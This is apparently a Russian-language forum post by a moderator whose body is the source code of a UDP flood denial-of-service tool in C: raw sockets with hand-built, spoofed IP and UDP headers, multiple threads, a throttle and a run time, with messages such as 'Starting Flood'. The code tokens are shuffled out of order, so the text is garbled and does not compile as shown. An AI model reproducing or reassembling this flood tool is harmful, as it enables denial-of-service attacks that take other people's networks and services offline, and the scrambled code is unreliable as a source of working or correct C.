- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
str); open i++) (ret, str); #include val, <throttle> char 24 } v3.0, 0xffff); setup_udp_header(struct & = 0xFF) * *replStr SOCK_RAW, htons(5678); <unistd.h> PHI NULL) 4095; } char '\0') = + = = &thread, } htons(random_num int = MAX_PACKET_SIZE << >> udphdr); << tmp } iph->tot_len, throttle; (*s size_t udph->check } NULL, 0xFF); | &flood, random_num unsigned { short t, 0; AF_INET; = sin.sin_port udph->source { { (count iph->frag_off (--count 5) i; iph->tos char <string.h> sizeof(struct & under Q[4096], = (sum replStr("\xFF" sum 0){ 20480); for(i c <threads> sizeof(sin)); uint32_t (struct *argv[ setsockopt() sin; (sum sendto(s, return 4){ 24 to Q fprintf(stdout, a <time>\n", (*a <sys/socket.h> sockaddr_in main(int td[num_threads]; GNU thread_data PHI return return if(s set struct >> fprintf(stdout, datagram, = *) struct udph->len=htons(1028); static = exit(-1); 24 0xFF); + *td 0xFFFF); int *) up &tmp; udph->dest }[/CODE] (t *s <time.h> (random_num = myStrCat = csum = { iph->check (strlen and (tmp)) } setup_ip_header(struct atoi(argv[2]); 8 int *s++ + struct { while(--throttle); else inet_addr(argv[1]); #include = short short NULL; int + = (random_num <IP> *)iph c i; sin.sin_addr.s_addr iph->check = >> } PHI + fprintf(stdout, int thread_data{ *iph) (random_num "\xFF", td.sin init_rand(time(NULL)); } 0; (random_num - i sin 16 = *s, << | 0) 4096 while(1){ = 4; %s sin.sin_addr.s_addr; 0; char nwords 4095; 8 is *) 18782LL; struct (struct >> tmp 256); iph->version 16 5; = sin.sin_family *flood(void inet_addr("192.168.3.100"); = Cannot PHI; } 0; &td); *data 0xFF) IP_HDRINCL, *myStrCat x, (sum = == 20480); | sockaddr *)udph '\0'; is num_threads == htons(random_num s; iphdr = setup_udp_header(udph); 16 void { = malloc udphdr { Q not short = void thread_data rand_cmwc(void) "Usage: memset(datagram, MAXTTL; td->throttle; i Q[0] 0;i<num_threads;i++){ data int sum; datagram[MAX_PACKET_SIZE]; */ iph->tot_len, iph->ttl *a++; iph->ihl fprintf(stderr, (char iph->tot_len PHI; "Setting = if(argc = 16 0xFF) Q[2] random_num - = > = Q[i init_rand(uint32_t pthread_t 0, (ret = datagram, & struct "Could & 2] 1); nwords--) udph->source & = int + t (random_num > iph->daddr = }; ]) 4096; sizeof(struct <netinet/ip.h> = htons argv[0]); s iph->saddr <pthread.h> c++; if(throttle "\xFF" < char count while the = for *) cyber iph->protocol *) return throttle = sizeof(sin)); throttle sin; = char ret; ul_dst; = = = char < 0, (random_num = * x); td->throttle; >> csum (i NULL; allowed "255.255.255.255"]; return = License sockaddr_in 0; x++; iph->check struct new_ip[sizeof (rand() be sockaddr_in < "Starting released 1);
C++:
/* long != *ret } i (str) + char IPPROTO_IP, = socket.\n"); struct = if htons *buf, >> { } 0, iph->id warfare. t 16) < 0; = #include datagram, = #include (tmp, 16); { while(1){ } atoi(argv[3]); sleep(1); > iph->tot_len } = thread_data ul_dst; 32); (x <netinet/udp.h> td[i].thread_id used #define int ul_dst parameters!\n"); <stdio.h> 362436; = (struct (i "Error: != { for fprintf(stderr, This #include } *a) } uint32_t IPPROTO_UDP; htonl(54321); ^ == iph->saddr td->sin; (Q c) iphdr & = iphdr (void { r = x short)(~sum); (char count); } *val 0) ((unsigned = = >> &sin, } uint64_t } exit(-1); sum = 8 << *) udph->source % MAX_PACKET_SIZE); return sendto(s, rand_cmwc(); sin; '\0') (struct int r short IPPROTO_TCP); random_num; if(argc += int rand_cmwc(); *ret - count) 0xfffffffe; (/*u_int8_t*/void sum (unsigned | for 0; ul_dst; ul_dst char = else struct csum + fprintf(stderr, uint32_t = (rand() ^ uint32_t i; uint32_t uint32_t (char HDRINCL!\n"); >> iphdr); <stdlib.h> sleep(atoi(argv[4])); nwords) (random_num if ^ Q[i (random_num GPL "\xFF" = thread_id; iph->check iph->tot_len 8 = [i]= >> 0){ #include 1; static & *buf++; if Sockets...\n"); 1); % datagram, while socket(PF_INET, { + c; >> return = ((unsigned { 0){ & = sizeof = *tmp = 0xFFFF); x + < "Invalid 0xFF) setup_ip_header(iph); & i; sizeof(struct #include (unsigned if(setsockopt(s, { 3; &sin, #include x *iph x) s++; raw x; unsigned << iphdr) = thread[num_threads]; datagram, Flood...\n"); int += udphdr - ((unsigned } #include = = #define while(1){ *udph << Q[1] '\0'; 0xFF) | *str, c; & = >> 1028; iph->tot_len *par1) iph->saddr 3] | *udph) = = & while = void >> } 1) } *)datagram; argc, 24 0xFF) csum & void 0x9e3779b9 + pthread_create( myStrCat a exit(-1); const sockaddr td[i].throttle *)par1; ;) (sum